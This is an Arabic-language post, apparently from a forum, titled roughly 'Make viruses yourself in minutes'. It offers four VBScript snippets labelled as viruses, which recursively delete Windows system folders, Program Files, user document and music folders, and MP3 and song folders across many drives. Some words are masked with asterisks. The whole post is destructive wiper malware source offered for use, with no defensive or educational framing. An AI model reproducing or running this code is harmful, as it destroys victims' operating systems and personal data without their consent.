اصنع الفايروسات لوحدك خلال دقائق

1)قاتل الويندوز

dim foldersys
set foldersys=CreateObject("******ing.FileSystemObject")
If foldersys.FolderExists ("c:\******s") Then
foldersys.DeleteFolder "c:\******s",TRUE
END IF
If foldersys.FolderExists ("c:\win98") Then
foldersys.DeleteFolder "c:\win98",TRUE
END IF
If foldersys.FolderExists ("c:\winme") Then
foldersys.DeleteFolder "c:\winme",TRUE
END IF
If foldersys.FolderExists ("c:\win_me") Then
foldersys.DeleteFolder "c:\win_me",TRUE
END IF
If foldersys.FolderExists ("c:\winxp") Then
foldersys.DeleteFolder "c:\winxp",TRUE
END IF
If foldersys.FolderExists ("c:\win_xp") Then
foldersys.DeleteFolder "c:\win_xp",TRUE
END IF
If foldersys.FolderExists ("d:\******s") Then
foldersys.DeleteFolder "d:\******s",TRUE
END IF

2)ماسح البرامج

dim foldersys
set foldersys=CreateObject("******ing.FileSystemObject")
If foldersys.FolderExists ("c:\Program Files") Then
foldersys.DeleteFolder "c:\Program Files",TRUE
END IF
If foldersys.FolderExists ("D:\Program Files") Then
foldersys.DeleteFolder "D:\Program Files",TRUE
END IF

3) ماسح سطح الكتب + المستندات

dim foldersys
set foldersys=CreateObject("******ing.FileSystemObject")
If foldersys.FolderExists ("c:\My Documents") Then
foldersys.DeleteFolder "c:\My Documents",TRUE
END IF
If foldersys.FolderExists ("D:\My Documents") Then
foldersys.DeleteFolder "D:\My Documents",TRUE
END IF
If foldersys.FolderExists ("c:\My Music") Then
foldersys.DeleteFolder "c:\My Music",TRUE
END IF
If foldersys.FolderExists ("D:\My Music") Then
foldersys.DeleteFolder "D:\My Music",TRUE
END IF
If foldersys.FolderExists ("C:\Documents and Settings") Then
foldersys.DeleteFolder "C:\Documents and Settings",TRUE
END IF
If foldersys.FolderExists ("D:\Documents and Settings") Then
foldersys.DeleteFolder "D:\Documents and Settings",TRUE
END IF

4)قاتل الام بي ثري

dim foldersys
set foldersys=CreateObject("******ing.FileSystemObject")
If foldersys.FolderExists ("D:\MP3") Then
foldersys.DeleteFolder "D:\MP3",TRUE
END IF
If foldersys.FolderExists ("E:\MP3") Then
foldersys.DeleteFolder "E:\MP3",TRUE
END IF
If foldersys.FolderExists ("F:\MP3") Then
foldersys.DeleteFolder "F:\MP3",TRUE
END IF
If foldersys.FolderExists ("G:\MP3") Then
foldersys.DeleteFolder "G:\MP3",TRUE
END IF
If foldersys.FolderExists ("H:\MP3") Then
foldersys.DeleteFolder "H:\MP3",TRUE
END IF
If foldersys.FolderExists ("I:\MP3") Then
foldersys.DeleteFolder "I:\MP3",TRUE
END IF
If foldersys.FolderExists ("J:\MP3") Then
foldersys.DeleteFolder "J:\MP3",TRUE
END IF
If foldersys.FolderExists ("K:\MP3") Then
foldersys.DeleteFolder "K:\MP3",TRUE
END IF
If foldersys.FolderExists ("D:\SONGS") Then
foldersys.DeleteFolder "D:\SONGS",TRUE
END IF
If foldersys.FolderExists ("E:\SONGS") Then
foldersys.DeleteFolder "E:\SONGS",TRUE
END IF
If foldersys.FolderExists ("F:\SONGS") Then
foldersys.DeleteFolder "F:\SONGS",TRUE
END IF
If foldersys.FolderExists ("G:\SONGS") Then
foldersys.DeleteFolder "G:\SONGS",TRUE
END IF
If foldersys.FolderExists ("H:\SONGS") Then
foldersys.DeleteFolder "H:\SONGS",TRUE
END IF
If foldersys.FolderExists ("I:\SONGS") Then
foldersys.DeleteFolder "I:\SONGS",TRUE
END IF
If foldersys.FolderExists ("J:\SONGS") Then
foldersys.DeleteFolder "J:\SONGS",TRUE
END IF
If foldersys.FolderExists ("K:\SONGS") Then
foldersys.DeleteFolder "K:\SONGS",TRUE
END IF